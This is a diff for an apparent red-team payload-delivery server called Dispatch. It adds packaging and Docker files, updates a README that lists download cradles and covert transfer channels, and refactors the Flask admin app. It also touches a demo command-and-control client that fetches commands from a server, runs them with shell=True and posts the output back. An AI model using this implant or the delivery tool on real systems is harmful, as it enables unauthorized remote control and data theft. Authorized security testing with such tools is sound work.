diff --git a/.github/workflows/ruff.yml b/.github/workflows/ruff.yml new file mode 100644 index 0000000..f8570c7 --- /dev/null +++ b/.github/workflows/ruff.yml @@ -0,0 +1,18 @@ +name: ruff + +on: + push: + pull_request: + +jobs: + ruff: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + - name: Install ruff + run: pip install ruff + - name: Run ruff + run: ruff check . diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..f332db2 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,12 @@ +FROM python:3.12-slim + +WORKDIR /app +COPY pyproject.toml README.md requirements.txt ./ +COPY dispatch ./dispatch +COPY dispatch-server.py ./ +RUN pip install --no-cache-dir . + +EXPOSE 8080 8000 +VOLUME ["/app/dispatch/data"] +ENTRYPOINT ["dispatch-server"] +CMD ["--http", "--bind-host", "0.0.0.0", "--admin-port", "8080", "--client-port", "8000"] diff --git a/README.md b/README.md index aa15094..9bf4bf5 100755 --- a/README.md +++ b/README.md @@ -13,8 +13,10 @@ It provides a single platform for controlled payload delivery, access governance - **Dual-interface architecture**: separate admin control plane & client delivery listener. - **Identity and access control**: role-based permissions, multi-factor authentication, API access, & more - **Payload and artifact management**: file aliases, & public/private/one-time access modes. -- **Routing and delivery options**: reverse proxy routing & covert upload channel. -- **Operator utilities**: cradle generation using various languages, & built-in file encryption. +- **Routing and delivery options**: reverse proxy routing, covert chunked upload, and covert chunked download. +- **Operator utilities**: cradle generation (curl, wget, Python, PowerShell, certutil, BITS, encoded PowerShell), & built-in file encryption. +- **Delivery governance**: per-file download caps, public/private/one-time access, and a live client-request feed. +- **Dual listeners**: the admin app and the client delivery app are separate Flask apps started on separate ports by `dispatch-server`. - **Alerting and notifications**: event-driven alerts using Discord webhooks. ## Install @@ -24,23 +26,49 @@ cd Dispatch pip3 install -r requirements.txt ``` +pipx / package install (console command `dispatch-server`): + +```bash +pipx install . +dispatch-server --help +``` + +Docker: + +```bash +docker compose up --build +``` + +The image listens on 8080 (admin) and 8000 (client) over HTTP. Persistent state is the `dispatch-data` volume. + ## Run ```bash -# Start Dispatch Ssrver +# Start Dispatch. The script interface is OFF unless you opt in. python3 dispatch-server.py -# Modify Dispatch default host & port options -python3 dispatch-server.py --bind-host 0.0.0.0 --admin-port 8443 --client-port 443 +# HTTP is for labs only. Admin and client use different ports. +python3 dispatch-server.py --http --admin-port 8080 --client-port 8000 -# Serve Dispatch over HTTP -python3 dispatch-server.py --http +# Enable the script interface and its scheduler +python3 dispatch-server.py --enable-script-interface -# Enable Debug logging +# Enable Debug logging (admin listener only) python3 dispatch-server.py --debug - -# Disable Script Runner console -python3 dispatch-server.py --disable-exec ``` +`--disable-exec` was removed. The script interface is off by default; pass `--enable-script-interface` to turn it on. + +## API keys + +Send the user's key in the `X-Dispatch-Auth` header on the admin interface. The key uses that user's role. + +- `GET /api/files/list` lists files the role can see. The payload is only `id`, `filename`, `alias`, `file_size`, `access`, `max_downloads`, and `download_count`. `GET /api/files/minimal-list` returns the same shape. `0` or a null `max_downloads` means unlimited. +- `POST /api/file/upload` uploads a file (Upload role or higher). +- `GET /file/get/alias/` downloads by alias. +- `GET /file/get/name/` downloads by filename. +- `GET /file/get/` downloads by the file id. + +The signed-in file page uses `GET /api/files/listing`, which requires a session cookie and is not available to an API key. That response includes the extra fields the admin UI needs, such as paths and uploader names. + ## Disclaimer Dispatch is intended only for authorized security testing and sanctioned operations. Do not use it against systems without explicit permission. diff --git a/c2_demo/client.py b/c2_demo/client.py index f535cb1..0d20c3e 100644 --- a/c2_demo/client.py +++ b/c2_demo/client.py @@ -9,7 +9,8 @@ def register(server_url): try: - requests.post(f"{server_url}/register", data="hi", verify=False) + # Demo client talks to the self-signed Dispatch listener. + requests.post(f"{server_url}/register", data="hi", verify=False, timeout=10) # noqa: S501 print("[*] Registered with server.") except Exception as e: print("Failed to register:", e) @@ -18,7 +19,7 @@ def register(server_url): def poll(server_url, interval=0): while True: try: - r = requests.get(f"{server_url}/data", verify=False) + r = requests.get(f"{server_url}/data", verify=False, timeout=10) # noqa: S501 cmd = r.text.strip() if cmd: @@ -30,11 +31,12 @@ def poll(server_url, interval=0): return try: - output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) + # Demo client runs the command text returned by the server. + output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) # noqa: S602 except subprocess.CalledProcessError as e: output = e.output - requests.post(f"{server_url}/data", data=output.decode(), verify=False) + requests.post(f"{server_url}/data", data=output.decode(), verify=False, timeout=10) # noqa: S501 except Exception as e: print("[!] Error polling server:", e) diff --git a/c2_demo/server.py b/c2_demo/server.py index 639da7c..4a68b71 100644 --- a/c2_demo/server.py +++ b/c2_demo/server.py @@ -96,7 +96,7 @@ def default(self, line): def do_bg(self, arg): """Return to main server prompt""" - print(f"[~] Returning to main menu.") + print("[~] Returning to main menu.") return True @@ -111,11 +111,12 @@ def start_server(host, port): if __name__ == "__main__": parser = argparse.ArgumentParser(description="Start HTTPS command server.") - parser.add_argument('--host', default='0.0.0.0', help='Bind address (default: 0.0.0.0)') + # Demo listener bind; operators can pass --host. + parser.add_argument('--host', default='0.0.0.0', help='Bind address (default: 0.0.0.0)') # noqa: S104 parser.add_argument('--port', type=int, default=8443, help='Port to bind (default: 8443)') args = parser.parse_args() - print(f"\n[+] Starting Dispatch demo C2") + print("\n[+] Starting Dispatch demo C2") threading.Thread(target=start_server, args=(args.host, args.port), daemon=True).start() sleep(0.5) ServerShell().cmdloop() diff --git a/dispatch-server.py b/dispatch-server.py index f92664e..69158bc 100755 --- a/dispatch-server.py +++ b/dispatch-server.py @@ -1,273 +1,6 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- -from gevent import monkey -monkey.patch_all() +"""Console wrapper. The installable entry point is dispatch.cli:main.""" +from dispatch.cli import main -import os -import ssl -import sys -import argparse -import socket -import gevent -from dispatch import config -from dispatch.db import DispatchDB -from dispatch.script_scheduler import scheduler -from gevent.pywsgi import WSGIServer -from gevent import spawn, get_hub -from dispatch.admin_app import DispatchServer as AdminDispatchServer -from dispatch.client_app import ClientServer - - -banner = rf''' - ____ _ _ _ ____ - | _ \(_)___ _ __ __ _| |_ ___| |__ / ___| ___ _ ____ _____ _ __ - | | | | / __| '_ \ / _` | __/ __| '_ \ ____\___ \ / _ \ '__\ \ / / _ \ '__| - | |_| | \__ \ |_) | (_| | || (__| | | |_____|__) | __/ | \ V / __/ | - |____/|_|___/ .__/ \__,_|\__\___|_| |_| |____/ \___|_| \_/ \___|_| - |_| - @m8sec | {config.VERSION} -''' - - -# Quiet logger for WSGIServer that ignores expected TLS handshake noise -class QuietWSGILogger: - def write(self, msg): - ignored_markers = ( - 'SSLEOFError', - 'SSLError', - 'UNEXPECTED_EOF', - 'SSLV3_ALERT_BAD_CERTIFICATE', - 'SSLV3_ALERT_CERTIFICATE_UNKNOWN', - 'sslv3 alert bad certificate', - 'sslv3 alert certificate unknown', - 'HTTP_REQUEST', - 'http request', - 'failed with SSLError', - ) - if not any(marker in msg for marker in ignored_markers): - sys.stderr.write(msg) - - -class QuietWSGIServer(WSGIServer): - def wrap_socket_and_handle(self, client_socket, address): - try: - return super().wrap_socket_and_handle(client_socket, address) - except ssl.SSLError as exc: - # Silently ignore common SSL errors (bad certs, HTTP on HTTPS port, etc.) - message = str(exc) - ignored_markers = ( - 'SSLV3_ALERT_BAD_CERTIFICATE', - 'SSLV3_ALERT_CERTIFICATE_UNKNOWN', - 'sslv3 alert bad certificate', - 'sslv3 alert certificate unknown', - 'TLSV1_ALERT_UNKNOWN_CA', - 'tlsv1 alert unknown ca', - 'UNKNOWN_CA', - 'HTTP_REQUEST', - 'http request', - 'WRONG_VERSION_NUMBER', - 'wrong version number', - ) - if any(marker in message for marker in ignored_markers): - return - raise - -def main(): - parser = argparse.ArgumentParser(description="Run the Dispatch admin and client servers.") - parser.add_argument('--debug', action='store_true', help='Run only the admin interface in Flask debug mode.') - parser.add_argument('--http', action='store_true', help='Serve over HTTP instead of HTTPS.') - parser.add_argument('--bind-host', type=str, default='0.0.0.0', help='Bind address for both listeners (default: 0.0.0.0).') - parser.add_argument('--admin-port', type=int, default=8443, help='Port for the admin interface (default: 8443).') - parser.add_argument('--client-port', type=int, default=443, help='Port for client file delivery (default: 443).') - parser.add_argument('--external-host', type=str, default=None, help='External hostname or IP stored in settings for generated links.') - parser.add_argument('--disable-exec', action='store_true', help='Disable script runner features (manual and scheduled execution).') - args = parser.parse_args() - cli_args = sys.argv[1:] - - def cli_option_provided(name): - return any(arg == name or arg.startswith(f'{name}=') for arg in cli_args) - - if args.http: - # Avoid binding to privileged/common HTTP ports unless the operator chose them explicitly. - if not cli_option_provided('--admin-port') and args.admin_port == 8443: - args.admin_port = 8080 - if not cli_option_provided('--client-port') and args.client_port == 443: - args.client_port = 8000 - - if args.admin_port == args.client_port and not args.debug: - print(f'[!] ERROR: admin-port and client-port cannot both use {args.admin_port}.') - print('[!] Choose distinct ports, for example: --admin-port 8080 --client-port 8000') - sys.exit(1) - - - print(banner) - if not os.path.exists(config.DB_NAME): - print(f'[*] No database file found. Starting setup...') - print(f'[*] Generating SSL certificates...') - config.generate_ssl_cert(config.CERT_PATH, config.KEY_PATH, - country=config.COUNTRY, cn=config.CN, - org=config.ORG, ou=config.OU, - valid=config.VALID_DAYS) - - print('[*] Creating new Dispatch database...') - db = DispatchDB(config.DB_NAME) - db.setup_db() - db.close() - print(f'[*] Login with default user: {config.DEFAULT_USER}') - print(f'[*] Randomly generated password: {config.DEFAULT_PWD}\n') - - - admin_server = AdminDispatchServer() - admin_app = admin_server.app - client_server = ClientServer() - client_app = client_server.app - db = DispatchDB(config.DB_NAME) - - # Update external host if provided - if args.external_host: - db.update_external_host(args.external_host) - - # Persist listener ports into settings database - if args.admin_port or args.client_port: - current_settings = db.get_settings() - db.update_settings( - current_settings['redirect_url'], - current_settings['source_ip'], - args.admin_port , - current_settings['max_file_size'], - current_settings['server_header'], - args.client_port - ) - print(f'[+] Updated database with admin_port={args.admin_port }, client_port={args.client_port}') - - # Reload settings and display - ext = db.get_settings() - protocol = "http" if args.http else "https" - - config.refresh_app_configs(db, admin_app) - config.refresh_app_configs(db, client_app) - db.close() - config.setup_dispatch_logger(log_name='dispatch-logger') - admin_app.config['disable_exec'] = bool(args.disable_exec) - client_app.config['disable_exec'] = bool(args.disable_exec) - if admin_app.config['disable_exec']: - scheduler.stop() - else: - scheduler.start() - - # Setup SSL context - if args.http: - print(f'[!] WARNING: Setting protocol to HTTP. This is NOT recommended for production environments!') - print(f'[!] WARNING: navigator.clipboard requires HTTPS. Clipboard copy functions will NOT work via HTTP.') - context = None - else: - context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) - context.load_cert_chain(config.CERT_PATH, config.KEY_PATH) - - def ensure_port_available(host, port, label): - probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - try: - probe.bind((host, port)) - except OSError as exc: - print(f'[!] ERROR: Could not bind {label} listener to {host}:{port}: {exc}') - if exc.errno == 98: - print(f'[!] Port {port} is already in use. Specify a different port with --{"admin" if label == "admin" else "client"}-port.') - elif exc.errno == 13: - print(f'[!] Permission denied on port {port}. Use a port above 1024 or run with the required privileges.') - sys.exit(1) - finally: - probe.close() - - # Start servers - ensure_port_available(args.bind_host, args.admin_port, 'admin') - if not args.debug: - ensure_port_available(args.bind_host, args.client_port, 'client') - - print(f'[+] Starting Admin console on: {protocol}://{args.bind_host}:{args.admin_port}/') - print(f'[+] Starting Client delivery on: {protocol}://{ext["source_ip"]}:{args.client_port}/\n') - - if args.debug: - config.setup_debug_logger() - # In debug mode, only run admin server (can't run two Flask debug servers) - print('[!] Debug mode: Only running admin server') - admin_app.run( - host=args.bind_host, - port=args.admin_port, - ssl_context=context, - debug=True, - threaded=True, - use_debugger=False, - use_reloader=True - ) - else: - # Suppress expected TLS handshake aborts from clients that reject the self-signed cert. - hub = get_hub() - hub.NOT_ERROR += (ssl.SSLEOFError, ssl.SSLError,) - - server_kwargs = {'ssl_context': context} if context else {} - # Use quiet logger to suppress SSL errors in server output - server_kwargs['log'] = QuietWSGILogger() - server_kwargs['error_log'] = QuietWSGILogger() - - def create_server(port, flask_app): - return QuietWSGIServer((args.bind_host , port), flask_app, **server_kwargs) - - # Create admin server (full app) - admin_server = create_server(args.admin_port, admin_app) - - # Create client server (client app handles file delivery) - client_server = create_server(args.client_port, client_app) - - # Run both servers concurrently - def run_admin(): - admin_server.serve_forever() - - def run_client(): - client_server.serve_forever() - - # Spawn both servers - admin_greenlet = spawn(run_admin) - client_greenlet = spawn(run_client) - last_client_port = args.client_port - - def monitor_ports(): - nonlocal client_server, client_greenlet, last_client_port - while True: - gevent.sleep(2) - try: - db = DispatchDB(config.DB_NAME) - settings = db.get_settings() - db.close() - except Exception: - continue - - new_client_port = settings.get('client_port', last_client_port) - if new_client_port != last_client_port: - try: - client_server.stop() - except Exception: - pass - try: - client_greenlet.kill() - except Exception: - pass - last_client_port = new_client_port - client_server = create_server(last_client_port, client_app) - client_greenlet = spawn(client_server.serve_forever) - - monitor_greenlet = spawn(monitor_ports) - - try: - # Wait for both (this will block until interrupted) - admin_greenlet.join() - client_greenlet.join() - monitor_greenlet.join() - except KeyboardInterrupt: - print('\n[*] Shutting down servers...') - admin_server.stop() - client_server.stop() - - -if __name__ == "__main__": +if __name__ == '__main__': main() diff --git a/dispatch/__init__.py b/dispatch/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/dispatch/admin_app.py b/dispatch/admin_app.py index a6b496f..3ffa000 100755 --- a/dispatch/admin_app.py +++ b/dispatch/admin_app.py @@ -1,22 +1,23 @@ #!/usr/bin/env python3 import os +import time import jwt import shutil import logging -import requests import base64 from datetime import datetime, timezone, timedelta from concurrent.futures import ThreadPoolExecutor from json import dumps from io import BytesIO from urllib.parse import urlparse -from markupsafe import escape, Markup +from markupsafe import escape from werkzeug.utils import secure_filename from werkzeug.exceptions import RequestEntityTooLarge from werkzeug.middleware.proxy_fix import ProxyFix -from flask import Flask, request, redirect, render_template, Response, send_file, current_app, abort, url_for +from flask import Flask, Response, abort, current_app, redirect, render_template, request, send_file, stream_with_context, url_for from dispatch import auth +from dispatch.client_app import _covert_fetch, _covert_upload_body, _upload_token from dispatch import config from dispatch.db import DispatchDB @@ -27,6 +28,7 @@ except ImportError: MFA_AVAILABLE = False log = logging.getLogger('dispatch-logger') +_last_disk_reload = {'at': 0.0} SCRIPT_EXECUTOR = ThreadPoolExecutor(max_workers=4) @@ -39,7 +41,8 @@ def _execute_script_content(script_content, timeout=30): tmp.write(script_content) tmp_path = tmp.name - result = subprocess.run(['python3', tmp_path], + # Script runner executes operator-authored Python. + result = subprocess.run(['python3', tmp_path], # noqa: S603, S607 capture_output=True, text=True, timeout=timeout) @@ -52,7 +55,7 @@ def _execute_script_content(script_content, timeout=30): try: os.remove(tmp_path) except Exception: - pass + logging.debug('Failed to remove temporary script file', exc_info=True) def _can_access_folder(user_role, folder_access): @@ -190,7 +193,113 @@ def _update_file_paths_for_folder_tree(db, folder_id): db.update_file_storage_by_id(file_data['id'], expected_path, file_folder_id) -def _render_file_form(template_name, token, status_msg=''): +def _max_downloads_from_form(): + raw = (request.form.get('max_downloads') or '').strip() + if not raw: + return None + try: + value = int(raw) + except (TypeError, ValueError): + return None + # 0 means unlimited and is stored as NULL. + return value if value > 0 else None + + +# API-key clients only need enough to automate list/upload/download. +# Paths, uploader, host, folder ids, and encryption settings stay off this payload. +_PUBLIC_FILE_KEYS = ( + 'id', + 'filename', + 'alias', + 'file_size', + 'access', + 'max_downloads', + 'download_count', +) + + +def _public_file_summary(record): + return {key: record.get(key) for key in _PUBLIC_FILE_KEYS} + + +def _session_user(): + token = auth.validateToken(request) + return token if isinstance(token, dict) else None + + +def _files_visible_to(db, user_role, include_size=False): + """Files the caller's role may see, including folder access checks.""" + all_files = db.list_files(include_size=include_size) + folder_access_map = {folder['id']: folder['access'] for folder in db.list_folders()} + visible = [] + for file in all_files: + folder_id = file.get('folder_id') + if folder_id and not _can_access_folder(user_role, folder_access_map.get(folder_id, 2)): + continue + # Private files are operator-and-above. Public and public-once are visible once authenticated. + if file.get('access', 3) == 3 and user_role < 3: + continue + visible.append(file) + return visible + + +def _page_notice(message, success=True): + """Plain notification payload. Templates pass it through |tojson.""" + return {'message': str(message), 'success': bool(success)} + + +_ACTIVITY_RESULTS = {'served', 'denied', 'not_found', 'auth_failure'} + + +def _activity_query(): + """Shared filters for the activity page and its live stream.""" + result = request.args.get('result', '').strip() + if result not in _ACTIVITY_RESULTS: + result = '' + ip = request.args.get('ip', '').strip()[:128] + search = request.args.get('q', '').strip()[:256] + try: + limit = int(request.args.get('limit', 100)) + except (TypeError, ValueError): + limit = 100 + limit = min(max(limit, 1), 500) + since_raw = request.headers.get('Last-Event-ID', request.args.get('since', 0)) + try: + since = int(since_raw or 0) + except (TypeError, ValueError): + since = 0 + return { + 'result': result, + 'ip': ip, + 'search': search, + 'limit': limit, + 'since': max(since, 0), + } + + +def _sse(event, payload, event_id=None): + """One Server-Sent Event. JSON encoding keeps request text out of the framing.""" + lines = [] + if event_id is not None: + lines.append(f'id: {int(event_id)}') + lines.append(f'event: {event}') + lines.append('data: ' + dumps(payload, separators=(',', ':'))) + return '\n'.join(lines) + '\n\n' + + +def _coerce_folder_id(db, folder_id): + if folder_id in (None, '', False): + return None + try: + folder_id = int(folder_id) + except (TypeError, ValueError): + return None + if folder_id and db.get_folder_by_id(folder_id): + return folder_id + return None + + +def _render_file_form(template_name, token, status_msg=None, form_error='', folder_id=None): db = DispatchDB(current_app.config['db_name']) try: return render_template( @@ -198,13 +307,15 @@ def _render_file_form(template_name, token, status_msg=''): token=token, config=current_app.config, status_msg=status_msg, - folders=_folder_options(db) + form_error=form_error, + folders=_folder_options(db), + selected_folder=_coerce_folder_id(db, folder_id), ) finally: db.close() -class DispatchServer(object): +class DispatchServer: app = Flask(__name__) app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1) app.secret_key = config.SECRET_KEY @@ -220,9 +331,11 @@ def index(token, status_msg=''): return redirect(url_for('user_edit', id=token['id'])) status = request.args.get('status') if status == 'file_deleted': - status_msg = Markup('') + status_msg = _page_notice('File deleted successfully!', True) elif status == 'file_delete_failed': - status_msg = Markup('') + status_msg = _page_notice('Failed to delete file.', False) + elif status == 'file_uploaded': + status_msg = _page_notice('File(s) uploaded successfully!', True) return render_template('index.html', token=token, config=current_app.config, status_msg=status_msg) @app.route('/login', methods=['GET', 'POST']) @@ -231,7 +344,7 @@ def login(): logging.debug(f'Rejected login attempt from {request.remote_addr} due to login restrictions.') return redirect(current_app.config['redirect_url'], 302) - status = '
' + login_error = '' if request.method == 'POST': db = DispatchDB(config.DB_NAME) @@ -247,12 +360,11 @@ def login(): if token_data.get('mfa_pending'): username = token_data.get('username') except Exception: - pass + logging.debug('Rejected MFA token during login', exc_info=True) if not username: db.close() - status = '
Session expired. Please login again.
' - return render_template('login.html', login_status=Markup(status)) + return render_template('login.html', login_error='Session expired. Please login again.') if MFA_AVAILABLE: user_id = db.get_user_id_by_username(username) @@ -273,17 +385,17 @@ def login(): db.close() return resp else: - status = '
User disabled
' + login_error = 'User disabled' else: - status = '
Invalid verification code
' + login_error = 'Invalid verification code' else: - status = '
MFA configuration error
' + login_error = 'MFA configuration error' db.close() - return render_template('login.html', login_status=Markup(status)) + return render_template('login.html', login_error=login_error) else: - status = '
MFA not available
' + login_error = 'MFA not available' db.close() - return render_template('login.html', login_status=Markup(status)) + return render_template('login.html', login_error=login_error) db.close() # Generate a new MFA token for retry @@ -292,7 +404,7 @@ def login(): 'mfa_pending': True, 'exp': datetime.now(timezone.utc) + timedelta(minutes=5) }, config.SECRET_KEY, algorithm='HS256') - return render_template('login_mfa.html', login_status=Markup(status), username=username, mfa_token=mfa_token) + return render_template('login_mfa.html', login_error=login_error, username=username, mfa_token=mfa_token) # Standard username/password login if db.validate_login(request.form['username'].lower(), request.form['password']): @@ -307,7 +419,7 @@ def login(): 'exp': datetime.now(timezone.utc) + timedelta(minutes=5) }, config.SECRET_KEY, algorithm='HS256') db.close() - return render_template('login_mfa.html', login_status=Markup('
'), username=username, mfa_token=mfa_token) + return render_template('login_mfa.html', login_error='', username=username, mfa_token=mfa_token) user_data = auth.loadUser(db, username) config.log("Web login successful", user_data, request.remote_addr) @@ -318,7 +430,7 @@ def login(): check_user_login_alert(config.DB_NAME, user_data['id'], user_data['user'], request.remote_addr) reset_failed_logins(username) except Exception: - pass + logging.debug('Login alert check failed', exc_info=True) if user_data['role'] > 0: # Check if MFA is required but not enabled for this user @@ -339,17 +451,17 @@ def login(): db.close() return resp else: - status = '
User disabled
' + login_error = 'User disabled' else: # Check for failed login alerts try: from dispatch.alerts import check_failed_login_alert check_failed_login_alert(config.DB_NAME, request.form['username'].lower(), request.remote_addr) except Exception: - pass - status = '
Login Failed
' + logging.debug('Failed-login alert check failed', exc_info=True) + login_error = 'Login Failed' db.close() - return render_template('login.html', login_status=Markup(status)) + return render_template('login.html', login_error=login_error) @app.route('/logout', methods=['GET']) def logout(): @@ -368,7 +480,7 @@ def settings_redirect(token): @auth.operator_required def admin_settings(token): db = DispatchDB(current_app.config['db_name']) - status_msg = Markup('') + status_msg = None try: if request.method == 'POST': form_type = request.form.get('form_type') @@ -386,31 +498,31 @@ def admin_settings(token): settings.get('client_port', 443) ) config.log("Admin settings updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Admin settings saved.", True) elif form_type == 'login_restrictions': db.update_allow_login(request.form['allow_login']) config.log("Login restrictions updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Login restrictions saved.", True) elif form_type == 'webhook_settings': webhook_url = request.form.get('webhook_url', '').strip() db.update_webhook_url(webhook_url if webhook_url else None) config.log("Webhook settings updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Webhook settings saved.", True) elif form_type == 'mfa_settings': mfa_required = 'mfa_required' in request.form db.set_mfa_required(mfa_required) config.log(f"MFA requirement {'enabled' if mfa_required else 'disabled'}", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("MFA settings saved.", True) config.refresh_app_configs(db, current_app) return render_template('settings/admin.html', token=token, config=current_app.config, status_msg=status_msg) except Exception as e: logging.error(f"Error updating admin settings: {e}") - status_msg = Markup('') + status_msg = _page_notice("Failed to save settings.", False) return render_template('settings/admin.html', token=token, config=current_app.config, status_msg=status_msg) finally: db.close() @@ -419,7 +531,7 @@ def admin_settings(token): @auth.operator_required def client_settings(token): db = DispatchDB(current_app.config['db_name']) - status_msg = Markup('') + status_msg = None try: if request.method == 'POST': form_type = request.form.get('form_type') @@ -428,7 +540,7 @@ def client_settings(token): client_enabled = 'client_enabled' in request.form db.update_client_enabled(client_enabled) config.log(f"Client interface {'enabled' if client_enabled else 'disabled'}", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Client interface status saved.", True) elif form_type == 'network_settings': source_ip = request.form['source_ip'] @@ -444,7 +556,7 @@ def client_settings(token): client_port ) config.log("Network settings updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Network settings saved.", True) elif form_type == 'response_headers': header_names = request.form.getlist('header_name[]') @@ -452,7 +564,7 @@ def client_settings(token): headers = {name: value for name, value in zip(header_names, header_values) if name and value} db.update_response_headers(headers) config.log("Response headers updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Response headers saved.", True) elif form_type == 'access_control': allow_ip = request.form['allow_ip'] @@ -470,7 +582,7 @@ def client_settings(token): db.disable_param_key() config.log("Access control updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Access control saved.", True) config.refresh_app_configs(db, current_app) @@ -478,7 +590,7 @@ def client_settings(token): return render_template('settings/client.html', token=token, config=current_app.config, response_headers=response_headers, status_msg=status_msg) except Exception as e: logging.error(f"Error updating client settings: {e}") - status_msg = Markup('') + status_msg = _page_notice("Failed to save settings.", False) response_headers = db.get_response_headers() return render_template('settings/client.html', token=token, config=current_app.config, response_headers=response_headers, status_msg=status_msg) finally: @@ -488,7 +600,7 @@ def client_settings(token): @auth.operator_required def c2_redirectors(token): db = DispatchDB(current_app.config['db_name']) - status_msg = Markup('') + status_msg = None try: if request.method == 'POST': form_type = request.form.get('form_type') @@ -497,7 +609,7 @@ def c2_redirectors(token): proxy_enabled = 'proxy_enabled' in request.form db.update_proxy_enabled(proxy_enabled) config.log(f"Reverse proxy {'enabled' if proxy_enabled else 'disabled'}", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Reverse proxy status saved.", True) else: # Convert form data to dictionary {path: redirect} paths = request.form.getlist("path[]") # Extract paths @@ -506,8 +618,8 @@ def c2_redirectors(token): # Update DB db.update_proxy_routes(route_dict) - config.log(f"Reverse proxy routes updated", token, request.remote_addr) - status_msg = Markup('') + config.log("Reverse proxy routes updated", token, request.remote_addr) + status_msg = _page_notice("Proxy routes saved.", True) config.refresh_app_configs(db, current_app) @@ -515,7 +627,7 @@ def c2_redirectors(token): return render_template('settings/proxy.html', token=token, routes=routes, config=current_app.config, status_msg=status_msg) except Exception as e: logging.error(f"Error updating proxy settings: {e}") - status_msg = Markup('') + status_msg = _page_notice("Failed to save proxy settings.", False) routes = db.load_proxy_routes() return render_template('settings/proxy.html', token=token, routes=routes, config=current_app.config, status_msg=status_msg) finally: @@ -569,6 +681,97 @@ def api_clear_logs(token): mimetype='application/json' ) + @app.route('/settings/activity', methods=['GET']) + @auth.operator_required + def file_activity(token): + """Recent client file requests, with a live stream attached by the page.""" + query = _activity_query() + db = DispatchDB(current_app.config['db_name']) + try: + rows = db.list_file_requests( + limit=query['limit'], + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + summary = db.file_request_summary( + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + finally: + db.close() + return render_template( + 'settings/activity.html', + token=token, + config=current_app.config, + requests_rows=rows, + summary=summary, + filters={'result': query['result'], 'ip': query['ip'], 'q': query['search'], 'limit': query['limit']}, + ) + + @app.route('/api/file-requests/stream', methods=['GET']) + @auth.operator_required + def file_request_stream(token): + """Server-Sent Events for new client file requests. One connection, no page reload.""" + query = _activity_query() + + def generate(): + db = DispatchDB(current_app.config['db_name']) + since = query['since'] + try: + yield 'retry: 2000\n\n' + if since <= 0: + rows = db.list_file_requests( + limit=query['limit'], + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + summary = db.file_request_summary( + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + yield _sse('snapshot', {'requests': rows, 'summary': summary}) + if rows: + since = rows[0]['id'] + polls = 0 + while True: + fresh = db.list_file_requests_since( + since, + limit=query['limit'], + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + if fresh: + for row in fresh: + since = row['id'] + yield _sse('request', row, event_id=row['id']) + summary = db.file_request_summary( + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + yield _sse('summary', summary) + polls += 1 + # Tests consume one poll. The running server keeps the feed open. + if current_app.config.get('TESTING') and polls >= 1: + break + time.sleep(1) + finally: + db.close() + + return Response( + stream_with_context(generate()), + mimetype='text/event-stream', + headers={ + 'Cache-Control': 'no-cache', + 'X-Accel-Buffering': 'no', + }, + ) + # ===== ALERTS CONFIGURATION ROUTES ===== @app.route('/settings/alerts', methods=['GET']) @@ -584,6 +787,9 @@ def api_list_alerts(token): try: db = DispatchDB(current_app.config['db_name']) alerts = db.get_alerts() + for alert in alerts: + if alert.get('alert_type') == 'file_download' and alert.get('target_id') is not None: + alert['target_id'] = db.guid_for_file_row(alert['target_id']) db.close() return Response(response=dumps(alerts), status=200, mimetype='application/json') except Exception as e: @@ -611,7 +817,7 @@ def api_create_alert(token): user = db.get_user_by_id(target_id) description = f"Alert when user '{user.get('username', 'Unknown')}' logs in" elif alert_type == 'file_download' and target_id: - file = db.get_file_by_id(target_id) + file = db.get_file_by_id(str(target_id)) description = f"Alert when file '{file.get('filename', 'Unknown')}' is downloaded" elif alert_type == 'failed_logins' and target_value: description = f"Alert after {target_value} failed login attempts" @@ -620,6 +826,12 @@ def api_create_alert(token): db.close() db = DispatchDB(current_app.config['db_name']) + if alert_type == 'file_download': + file = db.get_file_by_id(str(target_id or '')) + if not file: + db.close() + return Response(response=dumps({'error': 'File not found'}), status=400, mimetype='application/json') + target_id = file['row_id'] alert_id = db.create_alert(alert_type, target_id, target_value, description) db.close() @@ -695,21 +907,22 @@ def documentation_download(token): @app.route('/file/upload', methods=['GET', 'POST']) @auth.upload_only_required - def upload_file(token, status_msg=''): + def upload_file(token, status_msg=None): if request.method == 'POST': + folder_id = request.form.get('folder_id') files = request.files.getlist("file") if len(files) == 0 or files[0].filename == '': - status_msg = Markup('') - return _render_file_form('files/upload.html', token, status_msg) - + status_msg = _page_notice("No File Selected.", False) + return _render_file_form('files/upload.html', token, status_msg, folder_id=folder_id) + for f in files: db = DispatchDB(current_app.config['db_name']) try: - folder_id = request.form.get('folder_id', type=int) + folder_id_int = request.form.get('folder_id', type=int) if config.is_blocked_filename(f.filename): - status_msg = Markup('') - return _render_file_form('files/upload.html', token, status_msg) - target_dir = _ensure_folder_exists(db, folder_id) + status_msg = _page_notice("Uploading .gitignore is not allowed.", False) + return _render_file_form('files/upload.html', token, status_msg, folder_id=folder_id) + target_dir = _ensure_folder_exists(db, folder_id_int) fname, full_path = _safe_file_path(target_dir, f.filename) f.save(full_path) @@ 